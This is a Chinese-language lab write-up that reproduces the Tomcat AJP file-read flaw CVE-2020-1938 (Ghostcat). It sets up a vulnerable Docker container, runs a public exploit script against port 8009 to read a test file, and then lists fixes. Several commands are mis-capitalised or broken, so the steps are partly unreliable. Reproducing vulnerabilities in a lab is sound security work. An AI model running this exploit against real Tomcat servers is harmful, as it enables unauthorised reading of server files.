CVE-2020-1938

CVE-2020-1938 Tomcat文件读取/包含漏洞复现

漏洞简介

      Tomcat默认开启AJP服务(8009端口),存在一处文件包含缺陷。攻击者可以通过构造的恶意请求包来进行文件包含操作,从而读取有漏洞的Tomcat服务器上Web目录文件。

影响版本
    Apache Tomcat 6
    Apache Tomcat 7 < 7.0.100
    Apache Tomcat 8 < 8.5.51
    Apache Tomcat 9 < 9.0.31

漏洞信息

漏洞名称漏洞编号危害等级
Tomcat文件读取/包含漏洞CVE-2020-1938严重
CVSS评分漏洞组件受影响版本
9.9TomcatApache Tomcat 6 等

环境搭建

  • Ubuntu 18.04 LTS
  • Tomcat-8.5.32
  • Docker
  • Nmap

漏洞复现

1.docker安装
首先更新资源update

sudo apt-get update

安装docker

sudo apt-get install docker
sudo apt-get install docker.io sudo
apt-get install docker-registry


2.nmap安装

apt install yum
apt-get install nmap

3.环境搭建
Tomcat安装

docker search Tomcat-8.5.32
docker pull duonghuuphuc/tomcat-8.5.32


查看拉取的Tomcat镜像

docker images


启动镜像

docker run -d -p 8080:8080 -p 8009:8009 --name ghostcat
duonghuuphuc/tomcat-8.5.32

docker port ghostcat


浏览器可访问Tomcat页面,既环境搭建成功。
4.漏洞验证:进入容器写入一个验证文件进行读取。

Docker exec -it ghostcat /bin/bash
cd webapps/ROOT/
Echo ‘this is CVE-2020-1938’
ls
Cat test.txt


下载一个EXP对验证文件进行读取

Git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
Ls
Cd CNVD-2020-10487-Tomcat-Ajp-lfi/
Ls
Chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py
Ls
./CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f test.txt 192.168.32.132

漏洞修复

  • 禁用AIP协议端口,在conf/server.xml配置文件中注释掉<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443”/>;
  • 升级最新版本;
  • Tomcat 7和Tomcat 9可为AJP Connector配置secret来设置AJP协议的认证凭证;
  • Tomcat 8的可为AJP Connector配置requiredSecret来设置AJP协议的认证凭证。

版权声明:本文为weixin_48300170原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。